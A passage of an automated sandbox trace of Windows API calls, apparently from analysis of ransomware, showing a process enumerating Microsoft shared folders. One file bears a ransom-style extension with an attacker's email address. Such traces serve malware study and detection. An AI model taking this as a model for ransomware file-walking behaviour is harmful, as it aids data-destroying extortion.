dwReserved1=0x0, cFileName="Office Setup Controller", cAlternateFileName="OFFICE~1")) returned 0 [0286.454] FindClose (in: hFindFile=0x3e81da8 | out: hFindFile=0x3e81da8) returned 1 [0286.454] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3eb2090 | out: hHeap=0x730000) returned 1 [0286.454] FindNextFileW (in: hFindFile=0x3e81e68, lpFindFileData=0x35bf584 | out: lpFindFileData=0x35bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1 [0286.454] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3eb2090 | out: hHeap=0x730000) returned 1 [0286.454] FindNextFileW (in: hFindFile=0x3e81e68, lpFindFileData=0x35bf584 | out: lpFindFileData=0x35bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4accd6e1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1 [0286.454] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3eb2090 | out: hHeap=0x730000) returned 1 [0286.758] FindNextFileW (in: hFindFile=0x3e81e68, lpFindFileData=0x35bf584 | out: lpFindFileData=0x35bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b5538f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0286.758] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\*", lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b5538f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e81ee8 [0286.758] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b5538f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.759] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.htm", cAlternateFileName="")) returned 1 [0286.759] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.jpg", cAlternateFileName="")) returned 1 [0286.759] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x389d93fb, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x389d93fb, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x38a00a0f, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x37a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="DESKTO~1.COM")) returned 1 [0286.759] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.htm", cAlternateFileName="")) returned 1 [0286.759] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x5d3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.jpg", cAlternateFileName="")) returned 1 [0286.759] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Green Bubbles.htm", cAlternateFileName="")) returned 1 [0286.759] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1906, dwReserved0=0x0, dwReserved1=0x0, cFileName="GreenBubbles.jpg", cAlternateFileName="")) returned 1 [0286.760] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hand Prints.htm", cAlternateFileName="")) returned 1 [0286.760] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x107e, dwReserved0=0x0, dwReserved1=0x0, cFileName="HandPrints.jpg", cAlternateFileName="")) returned 1 [0286.760] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Orange Circles.htm", cAlternateFileName="")) returned 1 [0286.760] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x18ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="OrangeCircles.jpg", cAlternateFileName="")) returned 1 [0286.760] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.htm", cAlternateFileName="")) returned 1 [0286.760] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.jpg", cAlternateFileName="")) returned 1 [0286.760] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96dccc65, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.htm", cAlternateFileName="")) returned 1 [0286.761] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96dccc65, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96dccc65, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96dccc65, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.jpg", cAlternateFileName="")) returned 1 [0286.761] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shades of Blue.htm", cAlternateFileName="")) returned 1 [0286.761] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShadesOfBlue.jpg", cAlternateFileName="")) returned 1 [0286.761] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Soft Blue.htm", cAlternateFileName="")) returned 1 [0286.761] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2949, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftBlue.jpg", cAlternateFileName="")) returned 1 [0286.761] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.htm", cAlternateFileName="")) returned 1 [0286.761] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.jpg", cAlternateFileName="")) returned 1 [0286.761] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.jpg", cAlternateFileName="")) returned 0 [0286.762] FindClose (in: hFindFile=0x3e81ee8 | out: hFindFile=0x3e81ee8) returned 1 [0286.762] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3eb2090 | out: hHeap=0x730000) returned 1 [0286.762] FindNextFileW (in: hFindFile=0x3e81e68, lpFindFileData=0x35bf584 | out: lpFindFileData=0x35bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b56882, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TextConv", cAlternateFileName="")) returned 1 [0286.762] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\TextConv\\*", lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b56882, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e81928 [0286.762] FindNextFileW (in: hFindFile=0x3e81928, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b56882, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.762] FindNextFileW (in: hFindFile=0x3e81928, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0286.762] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\TextConv\\en-US\\*", lpFindFileData=0x35bf08c | out: lpFindFileData=0x35bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3e81ea8 [0286.762] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x35bf08c | out: lpFindFileData=0x35bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0286.763] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x35bf08c | out: lpFindFileData=0x35bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0 [0286.763] FindClose (in: hFindFile=0x3e81ea8 | out: hFindFile=0x3e81ea8) returned 1 [0286.763] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0286.763] FindNextFileW (in: hFindFile=0x3e81928, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0286.763] FindClose (in: hFindFile=0x3e81928 | out: hFindFile=0x3e81928) returned 1 [0286.763] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3eb2090 | out: hHeap=0x730000) returned 1 [0286.763] FindNextFileW (in: hFindFile=0x3e81e68, lpFindFileData=0x35bf584 | out: lpFindFileData=0x35bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b57d42, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Triedit", cAlternateFileName="")) returned 1 [0286.763] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Triedit\\*", lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b57d42, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e81ba8 [0286.763] FindNextFileW (in: hFindFile=0x3e81ba8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b57d42, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.763] FindNextFileW (in: hFindFile=0x3e81ba8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0286.764] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Triedit\\en-US\\*", lpFindFileData=0x35bf08c | out: lpFindFileData=0x35bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3e81fe8 [0286.764] FindNextFileW (in: hFindFile=0x3e81fe8, lpFindFileData=0x35bf08c | out: lpFindFileData=0x35bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0286.764] FindNextFileW (in: hFindFile=0x3e81fe8, lpFindFileData=0x35bf08c | out: lpFindFileData=0x35bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0 [0286.764] FindClose (in: hFindFile=0x3e81fe8 | out: hFindFile=0x3e81fe8) returned 1 [0286.764] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0286.764] FindNextFileW (in: hFindFile=0x3e81ba8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0286.764] FindClose (in: hFindFile=0x3e81ba8 | out: hFindFile=0x3e81ba8) returned 1 [0286.764] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3eb2090 | out: hHeap=0x730000) returned 1 [0286.764] FindNextFileW (in: hFindFile=0x3e81e68, lpFindFileData=0x35bf584 | out: lpFindFileData=0x35bf584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xbcd0fab8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xa0b594b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2ce22546, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VC", cAlternateFileName="")) returned 1 [0286.764] FindFirstFileW (in: 